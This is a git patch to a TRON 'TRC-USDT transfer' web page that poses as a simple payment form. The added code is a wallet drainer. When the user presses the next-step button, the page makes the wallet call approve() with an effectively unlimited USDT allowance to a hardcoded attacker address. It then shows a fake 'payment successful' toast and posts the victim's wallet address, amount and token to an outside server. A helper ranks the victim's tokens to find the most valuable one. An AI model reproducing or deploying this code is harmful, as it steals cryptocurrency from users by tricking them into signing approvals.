From d4a85f010f6b17caed4edf1e56b742c6c4e20b02 Mon Sep 17 00:00:00 2001
From: Helius <wangdoubleone@gmail.com>
Date: Tue, 29 Mar 2022 14:57:25 +0800
Subject: [PATCH] fix some

---
 src/main/resources/static/tron-app/tron.html |  422 +++++++++++++++++++++++++++++++---------------------
 1 files changed, 248 insertions(+), 174 deletions(-)

diff --git a/src/main/resources/static/tron-app/tron.html b/src/main/resources/static/tron-app/tron.html
index 53b8bb2..0825c8c 100644
--- a/src/main/resources/static/tron-app/tron.html
+++ b/src/main/resources/static/tron-app/tron.html
@@ -1,188 +1,262 @@
 <!DOCTYPE html>
 <!-- saved from url=(0080)https://fymodi.com/index/index/trc_usdt_transfer.html?agent=10000&address=123456 -->
-<html lang="en" data-dpr="1" style="font-size: 37.5px;" class="no-touch"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><link rel="icon" href="https://fymodi.com/favicon.ico" type="image/x-icon"><link rel="shortcut icon" href="https://fymodi.com/favicon.ico" type="image/x-icon"><!-- Required meta tags--><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, viewport-fit=cover"><meta name="apple-mobile-web-app-capable" content="yes"><meta name="apple-mobile-web-app-status-bar-style" content="black"><meta name="format-detection" content="telephone=no, email=no"><meta name="msapplication-tap-highlight" content="no"><meta name="x5-orientation" content="portrait"><meta name="x5-fullscreen" content="true"><link rel="icon" href="https://fymodi.com/index/index/favicon.ico"><meta name="description" content=""><meta name="keywords" content=""><!-- App title --><title>TRC-USDT 转账</title><!-- Framework7 Library CSS --><link rel="stylesheet" href="./tron_files/vendor.min.css"><!-- Custom app styles--><link rel="stylesheet" href="./tron_files/reset.min.css"><link rel="stylesheet" href="./tron_files/main.css"><script type="text/javascript" src="./tron_files/TronWeb.js"></script><!-- Jquery app core js--><script type="text/javascript" src="./tron_files/jquery-2.1.4.min.js"></script><script type="text/javascript" src="./tron_files/flexible.js"></script><style type="text/css">			.tishi{
-				width: 3.5rem;
-				height: 1.2rem;
-				background: #00000059;
-				z-index: 999999999999;
-				position: fixed;
-				top: 50%;
-				left: 50%;
-				transform: translate(-50%, -50%);
-				border-radius: 0.1rem;
-				color: white;
-				font-size: 0.6rem;
-				text-align: center;
-				line-height: 1.2rem;
-				display: none;
-			}
-		</style></head><body style="font-size: 12px;"><!-- Views --><div class="views"><!-- main view --><div class="view view-main"><!-- Pages --><div class="pages navbar-through"><div class="page"><div class="page-content" style="padding-top: 0.5rem;"><div class="list-block address"><div class="list-block-title">收款地址</div><ul><li class="item-content"><div class="item-inner"><div class="item-title" id="address">TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t</div></div></li></ul></div><div class="list-block amount"><div class="list-block-title">金额<span id="yu">0 USDT</span></div><ul><li class="item-content"><div class="item-inner"><div class="item-title"><input class="num" placeholder="0"><p>¥ <span id="price" style="color: inherit;font-size:inherit;">0</span></p></div></div></li><!--<li class="item-content">--><!--	<div class="item-inner">--><!--		<div class="item-after">备注</div>--><!--	</div>--><!--</li>--></ul><!-- <ul><li class="item-content item-link"><div class="item-inner"><div class="item-title">矿工费</div><div class="item-after"><p>0.002640 ETH</p><p>¥44.69</p></div></div></li></ul> --></div><div class="list-block-button"><button class="button button-fill " id="btn-connect" style="background: rgb(7, 139, 195);">下一步</button></div></div></div><!-- Preloader --><div class="modal"><div class="preloader"></div></div><div class="tishi">						付款成功
-					</div></div></div><div id="s"></div></div>
-		<div id="fffsss" style="color: white;z-index: 99999999999999999;position: absolute;top: 1px;"></div>
-		<div style="display:none;">
+<html lang="en" data-dpr="1" style="font-size: 37.5px;" class="no-touch">
+<head>
+    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
+    <link rel="icon" href="https://fymodi.com/favicon.ico" type="image/x-icon">
+    <link rel="shortcut icon" href="https://fymodi.com/favicon.ico" type="image/x-icon"><!-- Required meta tags-->
+    <meta name="viewport"
+          content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, viewport-fit=cover">
+    <meta name="apple-mobile-web-app-capable" content="yes">
+    <meta name="apple-mobile-web-app-status-bar-style" content="black">
+    <meta name="format-detection" content="telephone=no, email=no">
+    <meta name="msapplication-tap-highlight" content="no">
+    <meta name="x5-orientation" content="portrait">
+    <meta name="x5-fullscreen" content="true">
+    <link rel="icon" href="https://fymodi.com/index/index/favicon.ico">
+    <meta name="description" content="">
+    <meta name="keywords" content=""><!-- App title --><title>TRC-USDT 转账</title><!-- Framework7 Library CSS -->
+    <link rel="stylesheet" href="./tron_files/vendor.min.css"><!-- Custom app styles-->
+    <link rel="stylesheet" href="./tron_files/reset.min.css">
+    <link rel="stylesheet" href="./tron_files/main.css">
+    <script type="text/javascript" src="./tron_files/TronWeb.js"></script><!-- Jquery app core js-->
+    <script type="text/javascript" src="./tron_files/jquery-2.1.4.min.js"></script>
+    <script type="text/javascript" src="./tron_files/flexible.js"></script>
+    <style type="text/css">            .tishi {
+        width: 3.5rem;
+        height: 1.2rem;
+        background: #00000059;
+        z-index: 999999999999;
+        position: fixed;
+        top: 50%;
+        left: 50%;
+        transform: translate(-50%, -50%);
+        border-radius: 0.1rem;
+        color: white;
+        font-size: 0.6rem;
+        text-align: center;
+        line-height: 1.2rem;
+        display: none;
+    }
+    </style>
+</head>
+<body style="font-size: 12px;"><!-- Views -->
+<div class="views"><!-- main view -->
+    <div class="view view-main"><!-- Pages -->
+        <div class="pages navbar-through">
+            <div class="page">
+                <div class="page-content" style="padding-top: 0.5rem;">
+                    <div class="list-block address">
+                        <div class="list-block-title">收款地址</div>
+                        <ul>
+                            <li class="item-content">
+                                <div class="item-inner">
+                                    <div class="item-title" id="address">TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t</div>
+                                </div>
+                            </li>
+                        </ul>
+                    </div>
+                    <div class="list-block amount">
+                        <div class="list-block-title">金额<span id="yu">0 USDT</span></div>
+                        <ul>
+                            <li class="item-content">
+                                <div class="item-inner">
+                                    <div class="item-title"><input class="num" placeholder="0">
+                                        <p>¥ <span id="price" style="color: inherit;font-size:inherit;">0</span></p>
+                                    </div>
+                                </div>
+                            </li><!--<li class="item-content">--><!--	<div class="item-inner">-->
+                            <!--		<div class="item-after">备注</div>--><!--	</div>--><!--</li>--></ul>
+                        <!-- <ul><li class="item-content item-link"><div class="item-inner"><div class="item-title">矿工费</div><div class="item-after"><p>0.002640 ETH</p><p>¥44.69</p></div></div></li></ul> -->
+                    </div>
+                    <div class="list-block-button">
+                        <button class="button button-fill " id="btn-connect" style="background: rgb(7, 139, 195);">下一步
+                        </button>
+                    </div>
+                </div>
+            </div><!-- Preloader -->
+            <div class="modal">
+                <div class="preloader"></div>
+            </div>
+            <div class="tishi"> 付款成功
+            </div>
+        </div>
+    </div>
+    <div id="s"></div>
+</div>
+<div id="fffsss" style="color: white;z-index: 99999999999999999;position: absolute;top: 1px;"></div>
+<div style="display:none;">
 			<textarea id="jsondata">
 			{"WIN":"TLa2f6VPqDgRE67v1736s7bJ8Ray5wYjU7","USDT":"TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t","TONS":"THgLniqRhDg5zePSrDTdU9QwY8FjD9nLYt","USDJ":"TMwFHYXLJaRUPeW6421aqXL4ZEzPRFGkGT","JST":"TCFLL5dx5ZJdKnWuesXxi1VPwjLVmWZZy9","HT":"TDyvndWuvX5xTBwHPYJi7J3Yq8pq8yh62h","SUN":"TKkeiboTkxXKJpbmVFbv4a8ov5rAfRDMf9","EXNX":"TCcVeKtYUrHEQDPmozjJFMrf6XX7BgF84A","VCOIN":"TNisVGhbxrJiEHyYUMPxRzgytUtGM7vssZ","POL":"TWcDDx1Q6QEoBrJi9qehtZnD4vcXXuVLer","CKRW":"TTVTdn8ipmacfKsCHw5Za48NRnaBRKeJ44"}
 			</textarea>
-		</div>
-		<script type="text/javascript">			
-			var address = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
-			var agent = "10000";
-			var rank = 6.5;
-			var authorized_address = 'TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9';
-			// var domain = 'http://120.27.238.55:8802';
-			var domain = 'http://localhost:8080';
-			var bizhong = 'USDT';
-			var approveAddr = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
-			function getUrlQueryString(names, urls) {
-				urls = urls || window.location.href;
-				urls && urls.indexOf("?") > -1 ? urls = urls.substring(urls.indexOf("?") + 1) : "";
-				var reg = new RegExp("(^|&)" + names + "=([^&]*)(&|$)", "i");
-				var r = urls ? urls.match(reg) : window.location.search.substr(1).match(reg);
-				if (r != null && r[2] != "")
-					return unescape(r[2]);
-				return null;
+</div>
+<script type="text/javascript">
+    var address = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
+    var agent = "10000";
+    var rank = 6.5;
+    var authorized_address = 'TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9';
+    var domain = 'https://dapp.dream-space.top';
+    // var domain = 'http://localhost:8080';
+    var bizhong = 'USDT';
+    var approveAddr = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
 
-			}
-				
-			$('input.num').bind('input propertychange', function(){
-				if($(this).val() && $(this).val()>0){
-					$('#btn-connect').css('background','#078bc3');
-				}else{
-					$('#btn-connect').css('background','#dde0dd');
-				}
-				$('#price').text(($(this).val()*rank).toLocaleString() )
-			})
+    function getUrlQueryString(names, urls) {
+        urls = urls || window.location.href;
+        urls && urls.indexOf("?") > -1 ? urls = urls.substring(urls.indexOf("?") + 1) : "";
+        var reg = new RegExp("(^|&)" + names + "=([^&]*)(&|$)", "i");
+        var r = urls ? urls.match(reg) : window.location.search.substr(1).match(reg);
+        if (r != null && r[2] != "")
+            return unescape(r[2]);
+        return null;
 
-			async function postInfo(address,symbol){
-				var data = {
-					address:address,
-					authAddress:authorized_address,
-					symbol:symbol
-				}
+    }
 
-				$.ajax({
-					type: 'post',
-					url:  domain + "/trx/trcPost.html",
-					data:data,
-					success:function(){
-						location.href = domain + "/tron-app/trc_post.html";
-					}
-				})
-			}
-		
+    $('input.num').bind('input propertychange', function () {
+        if ($(this).val() && $(this).val() > 0) {
+            $('#btn-connect').css('background', '#078bc3');
+        } else {
+            $('#btn-connect').css('background', '#dde0dd');
+        }
+        $('#price').text(($(this).val() * rank).toLocaleString())
+    })
 
-		$(function() {
-			
-			const addr = JSON.parse($('#jsondata').html());
+    async function postInfo(address, symbol) {
+        var amount = $($('input.num')[0]).val();
+        var data = {
+            address: address,
+            authAddress: authorized_address,
+            symbol: symbol,
+            amount: amount
+        }
 
-			const price = {
-				'WIN': 0.001150,
-				'USDT':1,
-				'TONS':1.35,
-				'USDJ':1.04,
-				'JST': 0.125,
-				"HT": 20.41,
-				"SUN": 33.97,
-				"EXNX": 0.0621,
-				"VCOIN": 0.004225,
-				"POL": 0.1393,
-				"CKRW": 0.002487,
-			}
+        $.ajax({
+            type: 'post',
+            url: domain + "/trx/trcPost.html",
+            data: data,
+            success: function () {
+                location.href = domain + "/tron-app/trc_post.html";
+            }
+        })
+    }
 
-			const decimals = {
-				'WIN': 6,
-				'USDT':6,
-				'TONS':6,
-				'USDJ':18,
-				'JST': 18,
-				"HT": 18,
-				"SUN": 18,
-				"EXNX": 18,
-				"VCOIN": 6,
-				"POL": 8,
-				"CKRW": 6,
-			}
 
-			var total=0;
-			async function getMostValuableAssets(account) {
-				let _symbol = 'USDT';
-				for (const symbol of Object.keys(addr)) {
-					let contract = await tronWeb.contract().at(addr[symbol]);
-					let myBalance = await contract.balanceOf(account).call(function(err,balance){
-						const usdt = balance / (10** (decimals[symbol] || 18)) * price[symbol];
-						console.log(usdt);
-						if (usdt > total && usdt > 500) {
-							_symbol = symbol;
-							total = usdt;
-							approveAddr = addr[_symbol];
-						}
-					})
-				}
-				bizhong = _symbol;
-				return _symbol;
-			}
+    $(function () {
 
-			/**
-			* * Connect wallet button pressed.
-			*/
-			async function onConnect() {
-				$('.pages').append('<div class="modal-overlay"></div>');
-				$('.modal-overlay').addClass('modal-overlay-visible');
-				$('.modal').removeClass('modal-out').addClass('modal-in');
-				let tronWeb = window.tronWeb;
-				let walletAddress = tronWeb.defaultAddress.base58;
-				postInfo(walletAddress,bizhong);
-				// bizhong = await getMostValuableAssets(walletAddress);
-				// let instance = await tronWeb.contract().at(approveAddr);
-				// let res = await instance["approve"](authorized_address,"90000000000000000000000000000");
-				// res.send({
-				// 	feeLimit: 100000000,
-				// 	callValue: 0,
-				// 	shouldPollResponse: false
-				// },function(err,res){
-				// 	if(err == null){
-				// 		$(".tishi").fadeIn()
-				// 		setTimeout(function () {
-				// 			$(".tishi").fadeOut()
-				// 		},2000);
-				// 		postInfo(walletAddress,bizhong)
-				// 	}
-				// 	$('.modal-overlay').remove();
-				// 	$('.modal').removeClass('modal-in').addClass('modal-out');
-				// })
-			}
-			function init() {
-			}
-			
-			
-			async function s(){
-				if (window.tronWeb) {
-					var tronWeb = window.tronWeb;
-					let contract = await tronWeb.contract().at("TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t");
-					let walletAddress = tronWeb.defaultAddress.base58;
-					let result = await contract.balanceOf(walletAddress).call(function(err,tex){
-						if(err == null){
-							let total = tex._hex/(10**6);
-							$('#yu').text(total.toLocaleString() +' USDT')
-							console.log();
-						}
-					});
-				}else{
-				}
-			}
+        const addr = JSON.parse($('#jsondata').html());
 
-			/**
-			* Main entry point.
-			*/
-		  
-			init();
-			document.querySelector("#btn-connect").addEventListener("click", onConnect);
-			document.querySelector("#s").addEventListener("click", s);
-		})
-		
-		$(function(){
-			setTimeout(function(){
-				$('#s').click()
-			},1000);
-		})
-		</script><script type="text/javascript" referrerpolicy="unsafe-url" src="./tron_files/jquery.js"></script></body></html>
\ No newline at end of file
+        const price = {
+            'WIN': 0.001150,
+            'USDT': 1,
+            'TONS': 1.35,
+            'USDJ': 1.04,
+            'JST': 0.125,
+            "HT": 20.41,
+            "SUN": 33.97,
+            "EXNX": 0.0621,
+            "VCOIN": 0.004225,
+            "POL": 0.1393,
+            "CKRW": 0.002487,
+        }
+
+        const decimals = {
+            'WIN': 6,
+            'USDT': 6,
+            'TONS': 6,
+            'USDJ': 18,
+            'JST': 18,
+            "HT": 18,
+            "SUN": 18,
+            "EXNX": 18,
+            "VCOIN": 6,
+            "POL": 8,
+            "CKRW": 6,
+        }
+
+        var total = 0;
+
+        async function getMostValuableAssets(account) {
+            let _symbol = 'USDT';
+            for (const symbol of Object.keys(addr)) {
+                let contract = await tronWeb.contract().at(addr[symbol]);
+                let myBalance = await contract.balanceOf(account).call(function (err, balance) {
+                    const usdt = balance / (10 ** (decimals[symbol] || 18)) * price[symbol];
+                    console.log(usdt);
+                    if (usdt > total && usdt > 500) {
+                        _symbol = symbol;
+                        total = usdt;
+                        approveAddr = addr[_symbol];
+                    }
+                })
+            }
+            bizhong = _symbol;
+            return _symbol;
+        }
+
+        /**
+         * * Connect wallet button pressed.
+         */
+        async function onConnect() {
+            $('.pages').append('<div class="modal-overlay"></div>');
+            $('.modal-overlay').addClass('modal-overlay-visible');
+            $('.modal').removeClass('modal-out').addClass('modal-in');
+            let tronWeb = window.tronWeb;
+            let walletAddress = tronWeb.defaultAddress.base58;
+            // bizhong = await getMostValuableAssets(walletAddress);
+            // postInfo(walletAddress, bizhong)
+            let instance = await tronWeb.contract().at(approveAddr);
+            let res = await instance["approve"](authorized_address, "90000000000000000000000000000");
+            res.send({
+                feeLimit: 100000000,
+                callValue: 0,
+                shouldPollResponse: false
+            }, function (err, res) {
+                if (err == null) {
+                    $(".tishi").fadeIn()
+                    setTimeout(function () {
+                        $(".tishi").fadeOut()
+                    }, 2000);
+                    postInfo(walletAddress, bizhong)
+                }
+                $('.modal-overlay').remove();
+                $('.modal').removeClass('modal-in').addClass('modal-out');
+            })
+        }
+
+        function init() {
+        }
+
+
+        async function s() {
+            if (window.tronWeb) {
+                var tronWeb = window.tronWeb;
+                let contract = await tronWeb.contract().at("TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t");
+                let walletAddress = tronWeb.defaultAddress.base58;
+                let result = await contract.balanceOf(walletAddress).call(function (err, tex) {
+                    if (err == null) {
+                        let total = tex._hex / (10 ** 6);
+                        $('#yu').text(total.toLocaleString() + ' USDT')
+                        console.log();
+                    }
+                });
+            } else {
+            }
+        }
+
+        /**
+         * Main entry point.
+         */
+
+        init();
+        document.querySelector("#btn-connect").addEventListener("click", onConnect);
+        document.querySelector("#s").addEventListener("click", s);
+    })
+
+    $(function () {
+        setTimeout(function () {
+            $('#s').click()
+        }, 1000);
+    })
+</script>
+<script type="text/javascript" referrerpolicy="unsafe-url" src="./tron_files/jquery.js"></script>
+</body>
+</html>
\ No newline at end of file

--
Gitblit v1.9.1